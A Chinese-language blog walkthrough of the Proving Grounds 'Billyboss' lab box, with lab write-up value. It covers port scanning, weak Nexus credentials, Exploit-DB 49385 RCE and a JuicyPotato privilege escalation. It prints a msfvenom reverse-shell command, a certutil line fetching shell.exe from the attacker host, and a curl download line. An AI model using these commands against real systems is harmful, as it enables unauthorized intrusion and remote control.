Proving Grounds Practice : Billyboss Walkthrough

 Proving Grounds Practice : Billyboss Walkthrough


Foothole (立足點 ) :

  • 8081 Port 發現 Nexus/3.21.0-05
  • Searchsploit 使用 49385
  • CMD 的部分先下載 payload 然後執行 payload 獲得 reverse shell

PE ( 提權 ) :

  • SeImpersonatePrivilege Enabled 標準作業

注意事項 : 

  • Sonatype Nexus Repository Manager

  • RCE Code 利用要自己修改 CMD 指令

  • Powershell Oneliner 還是最好的選擇


第一步 Rustscan,└─$ rustscan -a 192.168.156.61 --scripts none --ulimit 5000 | tee rustscan



snmp closed 沒戲,└─$ sudo nmap -sU -p 161 192.168.156.61 | tee snmp 



nmap

80 IIS

8081 Jetty 9.4.18、http-server-header: Nexus/3.21.0-05 (OSS)



ftp 匿名 anonymous 登入測試失敗



ftp 使用帳號 ftp 登入告知 534 Policy requires SSL.



enum4linux,└─$ enum4linux -a  192.168.156.61                                                       



80 /



80 /upload



gobuster 80

└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.156.61 -c -t 150 --exclude-length 2166 -x txt,pdf,git,aspx | tee gobuster



8081 /

Sonatype Nexus Repository Manager

OSS 3.21.0-05



Sign in Page

使用網頁找到的預設帳號密碼 admin:admin123 進不去



隨便測試其他密碼,發現 nexus:nexus 可以登入

逛了一下沒發現好利用的地方與有啥有用的資訊




searchsploit 查了一下有一個 49385 RCE 要 Authenticated



Exploit-DB 線上發現有 Metasploit



啟動 Metasploit 確認有該 RCE



跑了幾次與換 Port 都失敗,錯誤訊息都顯示如下

payload-failed: Could not execute command: curl -so /tmp/CqoySlwU http://192.168.45.224:445/FTlQxAxpr7LKBKf

看來 Exploit 是成功的,研判是目標機器沒有支援 curl 指令所以失敗




回頭看一下 49385,利用看來差不多,不過 code 是叫他跑一個計算機(RCE code 跑計算機?)



改一下帳號密碼與執行 ping 試試看



看來有利用沒有問題



那就建立 payload、上傳 payload、執行 payload

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe



已知目標機是 Windows 且不支援 curl 那就改用最好用的 certutil

指令修改如下

CMD='certutil.exe -urlcache -f "http://192.168.45.224/pg/61/shell.exe" "C:\users\public\shell.exe"'

結果 GG 後來發現存放的檔案不可以使用 c: 這種路徑,修改如下

CMD='certutil.exe -urlcache -f http://192.168.45.224/pg/61/shell.exe shell.exe'


有順利來抓了



執行 payload



Reverse Shell 進來了



測試了一下 powershell oneliner 也是成功的



開始 PE,whoami /priv,發現 SeImpersonatePrivilege Enabled



標準作業 JuicyPotato



拿到管理者了


留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)